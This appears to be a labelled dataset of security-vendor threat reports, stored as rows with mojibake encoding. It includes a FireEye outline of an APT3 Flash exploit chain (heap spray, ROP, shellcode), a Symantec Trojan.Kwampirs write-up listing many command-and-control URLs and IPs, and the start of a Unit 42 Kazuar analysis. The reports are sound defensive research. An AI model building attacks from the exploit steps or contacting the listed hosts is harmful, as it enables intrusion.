Vector of 0x100 Vectors of 1007 references to an CustomClass instance 7.\xc2 \xc2 \xc2 \xc2 Fetch and play the FLV exploit \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 a.\xc2 \xc2 \xc2 \xc2 The FLV file will allocate an attacker controlled object in one of the holes from step 5 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 b.\xc2 \xc2 \xc2 \xc2 The attacker controlled object will overwrite the length field of an adjacent vector 8.\xc2 \xc2 \xc2 \xc2 Re-fill holes from step 5 with Vectors as in step 4 9.\xc2 \xc2 \xc2 \xc2 Find the corrupted vector \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 a.\xc2 \xc2 \xc2 \xc2 Search through Vectors from step 4 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 b.\xc2 \xc2 \xc2 \xc2 Check the length of each Vector to find one that is abnormally large 10.\xc2 Corrupt a second Vector (Vector2) \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 a.\xc2 \xc2 \xc2 \xc2 Using the corrupted Vector from step 9 to read/write relative memory addresses \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 i.\xc2 \xc2 \xc2 \xc2 Search memory for an adjacent vector \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ii.\xc2 \xc2 \xc2 \xc2 Overwrite the length field with 0x3fffffff \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 iii.\xc2 \xc2 \xc2 \xc2 Verify that a corrupted vector with length 0x3fffffff now exists in the spray \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 1.\xc2 \xc2 \xc2 \xc2 If not, undo corruption and attempt to corrupt the next vector 11.\xc2 Decrypt shellcode and store it and the payload on the heap 12.\xc2 Overwrite the CustomClass.victimFunction function pointer \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 a.\xc2 \xc2 \xc2 \xc2 Find the sprayed CustomClass object instance references from step 6 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 b.\xc2 \xc2 \xc2 \xc2 The new function is a form of \xe2\x80\x9cpivot\xe2\x80\x9d that transfers control to the attacker 13.\xc2 Build ROP chain on the stack and call it \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 a.\xc2 \xc2 \xc2 \xc2 Find ROP gadgets in memory using Vector2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 i.\xc2 \xc2 \xc2 \xc2 Including a call to kernel32!VirtualAlloc \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 b.\xc2 \xc2 \xc2 \xc2 Call the corrupted CustomClass.victimFunction from step 6.a.i \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 i.\xc2 \xc2 \xc2 \xc2 Arguments to the function are the gadgets of the ROP chain \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 ii.\xc2 \xc2 \xc2 \xc2 They are conveniently pushed onto the stack \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 iii.\xc2 \xc2 \xc2 \xc2 Corrupted vtable from step 12 calls a pivot \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 1.\xc2 \xc2 \xc2 \xc2 The \xe2\x80\x9cpivot\xe2\x80\x9d just adds to to the stack pointer and returns because the ROP chain is on \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 the stack 14.\xc2 ROP chain calls shellcode \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 a.\xc2 \xc2 \xc2 \xc2 Call kernel32!VirtualAlloc \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 b.\xc2 \xc2 \xc2 \xc2 jmp to shellcode 15.\xc2 Shellcode calls payload \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 a.\xc2 \xc2 \xc2 \xc2 Shellcode searches memory for the payload, which is stored inside an image \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 b.\xc2 \xc2 \xc2 \xc2 Shellcode decodes the payload by xoring each byte (that is not 0 or 0x17) with 0x17 Conclusion Once APT3 has access to a target network, they work quickly and they are extremely proficient at enumerating and moving laterally to maintain their access. Additionally, this group uses zero-day exploits, continually updated custom backdoors, and throwaway CnC infrastructure, making it difficult to track them across campaigns. Acknowledgements Thank you to the following contributors to this blog! \xc2\xb7\xc2 \xc2 \xc2 \xc2 \xc2 Joseph Obed, Ben Withnell, Kevin Zuk, Genwei Jiang, and Corbin Souffrant of FireEye Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Trojan.Kwampirs | Symantec Search ENTERPRISE ENTERPRISE \xc2 \xc2 250+ BUSINESS \xc2 \xc2 1-250 PARTNERNET \xc2 \xc2 Sign In Required Products & Services Products & Services Home Products A-Z Integrated Cyber Defense Integrated Cyber Defense Advanced Threat Protection Advanced Threat Protection Information Protection Information Protection Endpoint Security Endpoint Security Email Security Email Security Web & Network Security Web & Network Security Cloud App Security Cloud App Security Services Services Business Security Business Security OTHER BRANDS Norton LifeLock ID Analytics DigiCert Website Security Norton LifeLock ID Analytics DigiCert Website Security Integrated Cyber Defense Integrated Cyber Defense Core Services Advanced Threat Protection Information Protection Control Points Endpoint Security Email Security Web & Network Security Cloud App Security The cloud is full of risk. Your security posture shouldn't be. Our Integrated Cyber Defense Platform lets you focus on your priorities \xc3\xa2\xe2\x82\xac\xe2\x80\x9d digital transformations, supply chain security, cloud migration, you name it \xc3\xa2\xe2\x82\xac\xe2\x80\x9d knowing you are protected from end to end Learn More Advanced Threat Protection Advanced Threat Protection Endpoint Protection Family Endpoint Detection and Response (EDR) Messaging Security Family Email Threat Detection and Response Hybrid Cloud Security Family Encrypted Traffic Management Family Secure Web Gateway Family Content & Malware Analysis Network Forensics & Security Analytics Web Isolation WebFilter / Intelligence Services Web Application Firewall & Reverse Proxy 11 Times Running*, Gartner Magic Quadrant Leader for Secure Web Gateways Read the Report Information Protection Information Protection DLP Family Data Loss Prevention Data Loss Prevention Cloud & Symantec CloudSOC Data Loss Prevention Cloud Service for Email Information Centric Security Family Information Centric Analytics Information Centric Tagging Information Centric Encryption Identity Family VIP Enterprise VIP Consumer Encryption Family Endpoint Encryption Desktop Email Encryption File Share Encryption Accelerate Your GDPR Readiness with The GDPR for Dummies guide Read the Guide Endpoint Security Endpoint Security Endpoint Protection Family Endpoint Protection Endpoint Protection Mobile Endpoint Detection and Response (EDR) Endpoint Threat Defense for Active Directory Endpoint Security Suites IOT Family Hybrid Cloud Security Family Storage Protection Cloud Workload Protection Data Center Security Endpoint Management Family Client Management Suite Server Management Suite Asset Management Suite Ghost Solution Suite A Leader once again in 2019 Gartner Magic Quadrant for Endpoint Protection Platforms Read the Report Email Security Email Security Messaging Security Family Email Security.cloud Messaging Gateway Email Threat Detection and Response Phishing Readiness Mail Security for Microsoft Exchange DLP Family Data Loss Prevention Cloud Service for Email Encryption Family Desktop Email Encryption Gateway Email Encryption Symantec named a Leader in The Forrester Wave\xc3\xa2\xe2\x80\x9e\xc2\xa2: Enterprise Email Security, Q2 2019 Read the Report Email is still the #1 attack vector\xc3\xa2\xe2\x82\xac\xe2\x80\x9dand it\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s your job to secure Office 365. Now What? View the Checklist Web & Network Security Web & Network Security Secure Web Gateway Family Web Security Service Secure Access Cloud Web Isolation ProxySG and Advanced Secure Gateway Content & Malware Analysis WebFilter / Intelligence Services Web Application Firewall & Reverse Proxy Management Center and Reporting Encrypted Traffic Management Family SSL Visibility Appliance Network Performance Optimization Family MACH5 PacketShaper Cloud Access Security Broker (CASB) Family DLP Family Identity Family 11 Times Running*, Gartner Magic Quadrant Leader for Secure Web Gateways Read the Report Cloud App Security Cloud App Security Cloud Access Security Broker (CASB) Family CloudSOC Audit \xc3\xa2\xe2\x82\xac\xe2\x80\x9c Shadow IT CloudSOC CASB Gateway CloudSOC CASB for SaaS CloudSOC CASB for IaaS Hybrid Cloud Security Family Cloud Workload Protection Control Compliance Suite Storage Protection Secure Web Gateway Family Web Security Service Secure Access Cloud Web Isolation Malware Analysis Service Trusted Mobile Device Security Service Web Application Firewall & Reverse Proxy DLP Family Data Loss Prevention Cloud and Symantec CloudSOC Data Loss Prevention Cloud Service for Email Email Security Family Email Security.cloud Email Threat Detection and Response Identity Family VIP Security without compromise: the broadest, deepest protection for the public cloud Learn More Services Services Cyber Security Services Managed Security Services - Threat Monitoring DeepSight Intelligence Technical Intelligence Adversary Intelligence Incident Response Services Emergency Response Retainers and Response Readiness Managed Endpoint Detection and Response Service Other Services Consulting Services Education Services Premium Support Find Out Why Symantec is a Gartner MQ Leader 15 years running Read the Report Business Security Business Security Products Endpoint Protection Cloud Endpoint Protection Cloud Server Drive Encryption Endpoint Protection Small Business Edition Pricing Learn My Account Shop Online Welcome to the New Symantec Business Security Experience! Shopping for the right business products and managing your account is now easier than ever. Shop Now Solutions Solutions Home Topics Topics Industries Industries Government Government Cloud Cloud Topics Topics Advanced Threat Protection Cloud Security Election Security GDPR & Data Privacy Internet of Things (IoT) Security Office 365 Security Secure Access Zero Trust Security Symantec Internet of Things (IOT) Security Unveiling the industry\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s first neural network to protect critical infrastructure from cyber warfare Learn More Email is still the #1 attack vector\xc3\xa2\xe2\x82\xac\xe2\x80\x9dand it\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s your job to secure Office 365. Now What? View the Checklist Industry Solutions Industry Solutions Automotive Education Financial Services Global Service Providers Industrial Control Systems Healthcare Retail Cyber Security and Healthcare: An Evolving Understanding of Risk An ISTR Executive Healthcare Summary for Healthcare Professionals Read the Summary Government Solutions Government Solutions Federal Government State & Local Election Security 2018 Democracy is impossible without cyber security The good news? It\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s not too late to take basic steps to preserve the integrity of our elections\xc3\xa2\xe2\x82\xac\xe2\x80\x9dright now Learn More Cloud Solutions Cloud Solutions Amazon Web Services Oracle Cloud AWS Security Best Practices Guide and Configuration Checklist Symantec has worked together with AWS to develop an essential guide to AWS security Download Now Support Center Support Center Home Technical Support Technical Support Symantec Connect Symantec Connect Manage Your Product Manage Your Product Training Training Norton Support Technical Support Technical Support Product A-Z MySymantec Licensing Portal Symantec Earns TSIA Global Rated Outstanding, Assisted & Self Service Support Certification Learn More Symantec Connect Forums Blogs User Groups How to Find a Symantec Product Forum This two-step guide helps you find product support and information in the Connect user community Read the Guide Manage Your Product Maintenance Licensing Information Getting Started Renewals Software Upgrades Policies Connect User Community A peer-to-peer community for Symantec business customers, partners, and employees Join the Conversation Training Training Courses Certification E-Library Security Awareness Service Symantec Certification Validate your investment in training and experience, and boost your credibility today Learn More Security Center Security Center Home Updates Updates Advisories Advisories Publications Publications Tools Tools Topics Topics Updates Updates Virus Definitions & Updates Threats Risks Vulnerabilities 2019 Internet Security Threat Report Formjacking. Targeted Attacks. Living off the Land. Coming for Your Business. Read the Report Cloud Security Threat Report (CSTR) Adapting to the new reality of evolving cloud threats. Read the Report Advisories Advisories Symantec Security Advisories Analysis from Symantec\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s Global Threat Intelligence Team Unparalleled understanding and commentary on the cyber threats affecting businesses today Stay Informed Publications Publications ISTR CSTR Blogs Monthly Threat Report Endpoint Protection Mobile Threat Reports Security White Papers Research Labs 2019 Internet Security Threat Report Formjacking. Targeted Attacks. Living off the Land. Coming for Your Business. Read the Report Cloud Security Threat Report (CSTR) Adapting to the new reality of evolving cloud threats. \xc3\x82\xc2 Read the Report Tools Tools Removal Tools Spyware Removal Treating Infected Systems Legitimate Files in Quarantine Symantec Cyber Security Brief Podcast Cyber Security news and analysis by Symantec threat researchers Listen and Subscribe Topics Topics Ransomware Cyber Criminals Ramp Up Attacks on Trusted Software and Supply Chains Learn about this year\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s Internet Security Threat Report from Symantec Read the Blog Blogs Blogs Home Blogs Blogs Categories Categories Threat Intelligence Featured Stories Expert Perspectives Product Insights Corporate Responsibility Diversity & Inclusion Symantec Connect Cyber Criminals Ramp Up Attacks on Trusted Software and Supply Chains Learn about this year\xc3\xa2\xe2\x82\xac\xe2\x84\xa2s Internet Security Threat Report from Symantec Read the Blog Partner Partners Home Partner with Symantec Partner with Symantec PartnerNet PartnerNet TIPP TIPP Partner with Symantec Partner with Symantec Find a Partner Become a Partner Product Resources for Partners Sign in to PartnerNet Sign in to TIPP Contact Partner Service Contact Partner Service with questions about partnering opportunities and your existing business with Symantec Learn More PartnerNet PartnerNet My Dashboard Products Marketing Partner Support Center Training Other Resources Financial Benefits Partner Licensing Partner Renewal Infrastructure Attacks and Stealthy Mining\xc3\xa2\xe2\x82\xac\xe2\x80\x9dThreats Go Big and Small Read the Report TIPP TIPP My Dashboard Marketing TIPP Support Center Infrastructure Attacks and Stealthy Mining\xc3\xa2\xe2\x82\xac\xe2\x80\x9dThreats Go Big and Small Read the Report United States / English Sign In/Register Hi My Account Log out Security Center / Trojan.Kwampirs Trojan.Kwampirs Printer Friendly Page Summary Technical Description Removal Discovered: August 19, 2016 Updated: August 23, 2016 10:27:16 AM Type: Trojan Systems Affected: Windows Trojan.Kwampirs is a Trojan horse that may open a back door on the compromised computer. It may also download potentially malicious files. Antivirus Protection Dates Initial Rapid Release version August 19, 2016 revision 021 Latest Rapid Release version May 01, 2019 revision 016 Initial Daily Certified version August 20, 2016 revision 001 Latest Daily Certified version May 01, 2019 revision 021 Initial Weekly Certified release date August 24, 2016 Click here for a more detailed description of Rapid Release and Daily Certified virus definitions. Technical Description When the Trojan is executed, it creates the following files: %Windir%\\inf\\mtmndkb32.PNF %Windir%\\inf\\digirps.PNF %Windir%\\inf\\mkdiawb3.PNF %Windir%\\inf\\ie11.PNF %Temp%\\[FILE NAME].tmp %Windir%\\System32\\[.DLL FILE NAME] Note: [.DLL FILE NAME] is the file name of the DLL payload and can be one of the following: wmiamgmt.dll wmiassn.dll wmipadp.dll wmiadrv.dll wmipdpa.dll Next, the Trojan registers itself as a service with the following characteristics: Service name: WmiApSrvEx Display name: WMI Performance Adapter Extension Start type: SERVICE_AUTO_START Binary pathname: %Windir%\\System32\\[DROPPER NAME].exe The Trojan then opens a back door and connects to the following URLs to download additional files: www.ikjservjfn.ca/group/main.php?q=[ENCRYPTED DATA] www.fjrjfnjfnikjyhd.biz/users/group/index/default.aspx?q=[ENCRYPTED DATA] www.pbnmainfjrikjikj.nl/main.php?q=[ENCRYPTED DATA] 18.50.115.97/default.asp?q=[ENCRYPTED DATA] ncjpbnyhd.com/newusers/main.php?q=[ENCRYPTED DATA] powerikj.biz/main/default/default.php?q=[ENCRYPTED DATA] servncdnservnrj.info/new/mainlogin.php?q=[ENCRYPTED DATA] www.dswsite.nl/users/main.php?q=[ENCRYPTED DATA] kcnnrjyhdjfn.in/newnew/index/main.aspx?q=[ENCRYPTED DATA] sitekcnnrjsrvpbn.fr/mainhome/index.php?q=[ENCRYPTED DATA] ikjpbnservikjyhd.ca/mainhomemain.aspx?q=[ENCRYPTED DATA] www.jfnnrjservncdn.nl/group/defaultdefaultlogin.asp?q=[ENCRYPTED DATA] 82.19.47.135/group/homeindex.asp?q=[ENCRYPTED DATA] ncdnjfnyhdpbnncj.nl/index/default.aspx?q=[ENCRYPTED DATA] www.fjrdswkcnpowerjfn.nl/users/default.php?q=[ENCRYPTED DATA] 77.52.54.90/default.php?q=[ENCRYPTED DATA] srvdswnrj.nl/groupusers/homehomeindex.asp?q=[ENCRYPTED DATA] dswdswnrj.co/group/mainloginmain.php?q=[ENCRYPTED DATA] 50.96.137.35/main/default.asp?q=[ENCRYPTED DATA] pbnsrv.org/logindefault.php?q=[ENCRYPTED DATA] dswpbnkcnmain.ch/default/default.asp?q=[ENCRYPTED DATA] ncjpowerkcn.fr/login.php?q=[ENCRYPTED DATA] ncdndswjfnsite.com/indexdefault.php?q=[ENCRYPTED DATA] 123.36.79.40/users/main.asp?q=[ENCRYPTED DATA] www.fjrnrjncdnyhdncj.com/new/main/default.asp?q=[ENCRYPTED DATA] 85.103.89.112/new/homemain/main.aspx?q=[ENCRYPTED DATA] 185.86.149.207/index.php?q=[ENCRYPTED DATA] 75.31.30.28/new/main.php?q=[ENCRYPTED DATA] powerfjr.info/usersusers/home/login/main.asp?q=[ENCRYPTED DATA] www.dswfjrncjncdnyhd.nl/users/login/home.php?q=[ENCRYPTED DATA] nrjmainkcnmain.org/newgroup/home.php?q=[ENCRYPTED DATA] 121.99.107.52/groupgroup/default.aspx?q=[ENCRYPTED DATA] dswfjr.nl/groupnew/homedefault/home.php?q=[ENCRYPTED DATA] jfnpowerdsw.tk/indexlogin/main.php?q=[ENCRYPTED DATA] nrjyhdfjrpowerncj.in/login.php?q=[ENCRYPTED DATA] dswsite.com/login.php?q=[ENCRYPTED DATA] powerpbnsitemain.ch/home.php?q=[ENCRYPTED DATA] www.ikjncdn.ch/loginindex.php?q=[ENCRYPTED DATA] 112.120.61.142/users/default/main.aspx?q=[ENCRYPTED DATA] pbnncdnkcnncjikj.org/default.aspx?q=[ENCRYPTED DATA] www.yhdnrjjfnikj.in/users/home.asp?q=[ENCRYPTED DATA] 106.140.87.79/index/loginmain.aspx?q=[ENCRYPTED DATA] nrjyhdncdnncjsrv.biz/main.php?q=[ENCRYPTED DATA] kcnpbn.ch/group/users/login/default.php?q=[ENCRYPTED DATA] dswyhdikjpower.fr/usersusers/index.php?q=[ENCRYPTED DATA] mainkcn.biz/new/loginindexlogin.aspx?q=[ENCRYPTED DATA] dswpowersite.ca/users/home.php?q=[ENCRYPTED DATA] 20.38.100.106/login.php?q=[ENCRYPTED DATA] www.mainnrj.nl/users/index/home.php?q=[ENCRYPTED DATA] ikjjfn.biz/default/homelogin.php?q=[ENCRYPTED DATA] nrjserv.com/group/default.aspx?q=[ENCRYPTED DATA] kcnkcnmainservjfn.info/homehome/default.php?q=[ENCRYPTED DATA] fjrpbn.in/users/default.aspx?q=[ENCRYPTED DATA] www.srvservikjdswnrj.in/index/home.aspx?q=[ENCRYPTED DATA] dswyhdpbnyhd.com/group/users/loginindex.php?q=[ENCRYPTED DATA] servjfnservjfndsw.nl/group/main.asp?q=[ENCRYPTED DATA] 35.72.47.18/users/users/home/indexindex.php?q=[ENCRYPTED DATA] powerserv.nl/new/main.asp?q=[ENCRYPTED DATA] 98.106.41.39/groupusers/index.asp?q=[ENCRYPTED DATA] dswsitemain.in/home.asp?q=[ENCRYPTED DATA] ikjyhd.nl/default/loginlogin.php?q=[ENCRYPTED DATA] srvmainkcnsite.biz/indexloginhome.asp?q=[ENCRYPTED DATA] servsiteyhdjfnserv.co/group/default.php?q=[ENCRYPTED DATA] yhdncjsitefjr.tk/homelogin.aspx?q=[ENCRYPTED DATA] www.sitencjdswyhdserv.nl/loginhomemain.php?q=[ENCRYPTED DATA] kcnncjnrjnrjfjr.in/group/default/main/home.php?q=[ENCRYPTED DATA] www.kcnyhd.ro/group/group/login/main/home.php?q=[ENCRYPTED DATA] 77.42.100.90/usersgroup/home.asp?q=[ENCRYPTED DATA] ikjpowersrvdswsrv.com/main.php?q=[ENCRYPTED DATA] 64.116.80.23/newusers/homemain/home.php?q=[ENCRYPTED DATA] 66.102.139.145/users/default/main.aspx?q=[ENCRYPTED DATA] 74.59.119.64/defaultdefaultlogin.php?q=[ENCRYPTED DATA] www.jfnncj.org/new/users/homeindex.aspx?q=[ENCRYPTED DATA] jfndsw.fr/new/loginhome.php?q=[ENCRYPTED DATA] fjrsitesite.nl/group/mainindexlogin.php?q=[ENCRYPTED DATA] 32.22.134.10/groupusers/default.php?q=[ENCRYPTED DATA] www.dswkcnncdnsrv.info/group/new/index.php?q=[ENCRYPTED DATA] www.pbnmainkcn.cn/users/users/default.php?q=[ENCRYPTED DATA] 97.11.88.108/login.php?q=[ENCRYPTED DATA] 5.27.122.119/users/users/homeindex/login.php?q=[ENCRYPTED DATA] www.nrjfjrkcnsite.org/index/defaultlogin.php?q=[ENCRYPTED DATA] yhdncj.biz/new/default/home.aspx?q=[ENCRYPTED DATA] www.srvfjrncj.ru/users/group/index/login/default?q=[ENCRYPTED DATA] The downloaded files will be base64-encoded and encrypted with another cipher. The Trojan appears to have functionality to receive shellcode from the URLs, to be executed in the address space of the malware. Recommendations Symantec Security Response encourages all users and administrators to adhere to the following basic security ""best practices"": Use a firewall to block all incoming connections from the Internet to services that should not be publicly available. By default, you should deny all incoming connections and only allow services you explicitly want to offer to the outside world. Enforce a password policy. Complex passwords make it difficult to crack password files on compromised computers. This helps to prevent or limit damage when a computer is compromised. Ensure that programs and users of the computer use the lowest level of privileges necessary to complete a task. When prompted for a root or UAC password, ensure that the program asking for administration-level access is a legitimate application. Disable AutoPlay to prevent the automatic launching of executable files on network and removable drives, and disconnect the drives when not required. If write access is not required, enable read-only mode if the option is available. Turn off file sharing if not needed. If file sharing is required, use ACLs and password protection to limit access. Disable anonymous access to shared folders. Grant access only to user accounts with strong passwords to folders that must be shared. Turn off and remove unnecessary services. By default, many operating systems install auxiliary services that are not critical. These services are avenues of attack. If they are removed, threats have less avenues of attack. If a threat exploits one or more network services, disable, or block access to, those services until a patch is applied. Always keep your patch levels up-to-date, especially on computers that host public services and are accessible through the firewall, such as HTTP, FTP, mail, and DNS services. Configure your email server to block or remove email that contains file attachments that are commonly used to spread threats, such as .vbs, .bat, .exe, .pif and .scr files. Isolate compromised computers quickly to prevent threats from spreading further. Perform a forensic analysis and restore the computers using trusted media. Train employees not to open attachments unless they are expecting them. Also, do not execute software that is downloaded from the Internet unless it has been scanned for viruses. Simply visiting a compromised Web site can cause infection if certain browser vulnerabilities are not patched. If Bluetooth is not required for mobile devices, it should be turned off. If you require its use, ensure that the device's visibility is set to ""Hidden"" so that it cannot be scanned by other Bluetooth devices. If device pairing must be used, ensure that all devices are set to ""Unauthorized"", requiring authorization for each connection request. Do not accept applications that are unsigned or sent from unknown sources. For further information on the terms used in this document, please refer to the Security Response glossary. Removal You may have arrived at this page either because you have been alerted by your Symantec product about this risk, or you are concerned that your computer has been affected by this risk. Before proceeding further we recommend that you run a full system scan . If that does not resolve the problem you can try one of the options available below. FOR NORTON USERS If you are a Norton product user, we recommend you try the following resources to remove this risk. Removal Tool Run Norton Power Eraser (NPE) Norton Power Eraser did not remove this risk If you have an infected Windows system file, you may need to replace it using the Windows installation CD . How to reduce the risk of infection The following resources provide further information and best practices to help reduce the risk of infection. Operating system updates to fix vulnerabilities File sharing protection Disable Autorun (CD/USB) Best practices for instant messaging Best practices for browsing the Web Best practices for email FOR BUSINESS USERS If you are a Symantec business product user, we recommend you try the following resources to remove this risk. Identifying and submitting suspect files Submitting suspicious files to Symantec allows us to ensure that our protection capabilities keep up with the ever-changing threat landscape. Submitted files are analyzed by Symantec Security Response and, where necessary, updated definitions are immediately distributed through LiveUpdate\xc3\xa2\xe2\x80\x9e\xc2\xa2 to all Symantec end points. This ensures that other computers nearby are protected from attack. The following resources may help in identifying suspicious files for submission to Symantec. Locate a sample of a threat Submit a suspicious file to Symantec Removal Tool Download SymDiag to detect Symantec product issues About the Threat Analysis Scan in SymDiag About Symantec Power Eraser What you should know before you run Power Eraser If you have an infected Windows system file, you may need to replace it using the Windows installation CD . How to reduce the risk of infection The following resource provides further information and best practices to help reduce the risk of infection. Protecting your business network MANUAL REMOVAL The following instructions pertain to all current Symantec antivirus products. 1. Performing a full system scan How to run a full system scan using your Symantec product 2. Restoring settings in the registry Many risks make modifications to the registry, which could impact the functionality or performance of the compromised computer. While many of these modifications can be restored through various Windows components, it may be necessary to edit the registry. See in the Technical Details of this writeup for information about which registry keys were created or modified. Delete registry subkeys and entries created by the risk and return all modified registry entries to their previous values. Writeup By: Benjamin Moench, Ed Aboud Information for Enterprise Business Partners Consumer (Norton) Our Offerings Products Products A-Z Services Solutions Buying Programs Connect with us Support Connect Communities Security Center Find a Partner Events Webcasts Contact Us About Symantec Blogs Customer Success Center Industry Accolades Newsroom Analyst Relations Careers Investor Relations Corporate Responsibility Privacy \xc3\xa2\xe2\x82\xac\xe2\x80\x9c GDPR Customer Assurance Portal Symantec Ventures CustomerOne Acquisitions Fireglass ID Analytics LifeLock Luminate Skycure \xc2\xa9 1995\xe2\x80\x932019 Symantec Corporation About Symantec Careers News Sitemap Legal Privacy Cookies Contact Us \xc3\xa2\xc5\x93\xe2\x80\xa2","0","0","0","0","0","1","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Kazuar: Multiplatform Espionage Backdoor with API Access Menu Tools Playbooks Speaking Events About Us Kazuar: Multiplatform Espionage Backdoor with API Access 25,539 people reacted 0 15 min. read Share By Brandon Levene, Robert Falcone and Tyler Halfpop May 3, 2017 at 2:08 PM Category: Unit 42 Tags: .NET Framework, Carbon, ConfuserEx, Kazuar, Snake, Trojans, Turla, Uroburos Unit 42 researchers have uncovered a backdoor Trojan used in an espionage campaign. The developers refer to this tool by the name Kazuar, which is a Trojan written using the Microsoft .NET Framework that offers actors complete access to compromised systems targeted by its operator. Kazuar includes a highly functional command set, which includes the ability to remotely load additional plugins to increase the Trojan\xe2\x80\x99s capabilities. During our analysis of this malware we uncovered interesting code paths and other artifacts that may indicate a Mac or Unix variant of this same tool also exists. Also, we discovered a unique feature within Kazuar: it exposes its capabilities through an Application Programming Interface (API) \xc2 to a built-in webserver. We suspect the Kazuar tool may be linked to the Turla threat actor group (also known as Uroburos and Snake), who have been reported to have compromised embassies, defense contractors, educational institutions, and research organizations across the globe. A hallmark of Turla operations is iterations of their tools and code lineage in Kazuar can be traced back to at least 2005. If the hypothesis is correct and the Turla threat group is using Kazuar, we believe they may be using it as a replacement for Carbon and its derivatives. Of the myriad of tools observed in use by Turla Carbon and its variants were typically deployed as a second stage backdoor within targeted environments and we believe Kazuar may now hold a similar role for Turla operations. The Kazuar Malware Kazuar is a fully featured backdoor written using the .NET Framework and obfuscated using the open source packer called ConfuserEx.\xc2 We used a combination of tools such as NoFuserEx, ConfuserEx Fixer, ConfuserEx Switch Killer, and de4d0t in order to deobfuscate the code for in depth analysis.\xc2 We then used dnSpy to export the code to a Microsoft Visual Studio project, so that we could rename the random method names to better understand the flow of the code. We 